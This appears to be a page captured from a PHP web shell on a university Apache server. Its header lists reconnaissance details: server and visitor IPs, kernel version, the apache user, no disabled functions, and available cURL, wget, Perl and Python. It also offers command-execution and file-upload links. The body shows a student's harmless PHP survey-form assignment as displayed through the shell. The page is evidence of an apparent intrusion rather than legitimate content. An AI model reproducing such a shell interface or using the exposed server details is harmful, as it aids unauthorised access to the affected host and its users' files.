Server IP : 172.16.15.8 / Your IP : 3.142.98.111 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jhtaylor/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Assignment3A.html Author: Jack Taylor Instructor: Dr. Wang Due: Sunday March. 10, 2024 --> <center> <H2> Tuna Cafe Survey </H2> </center> <HR> <FORM action=Assignment3AAction.php method=post> <?php $menu = array("Tuna Casserole", "Tuna Sandwich", "Tuna Pie", "Grilled Tuna", "Tuna Surprise"); $bs = 1; print "Please indicate your favorite - <BR>\n"; for($i=0; $i<count($menu); $i++) { print "<INPUT TYPE=checkbox name=prefer[] value=$i> $menu[$i]\n"; if($i == $bs) print "<B><FONT color=red> Best seller! </FONT> </B>\n"; print "<BR>\n"; } ?> <HR> <?php $reason = array("The Marvelous Food Preparation.", "The Affordable Prices.", "The Speedy Services.", "Just Like Tuna.", "None of the Above."); $bs = 1; print "Reason(s) for selecting this resturant - <BR>\n"; for($i=0; $i<count($reason); $i++) { print "<INPUT TYPE=checkbox name=prefer[] value=$i> $reason[$i]\n"; if($i == $bs) print "<B><FONT color=red> Most Common! </FONT> </B>\n"; print "<BR>\n"; } ?> <p> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> </FORM> </FONT>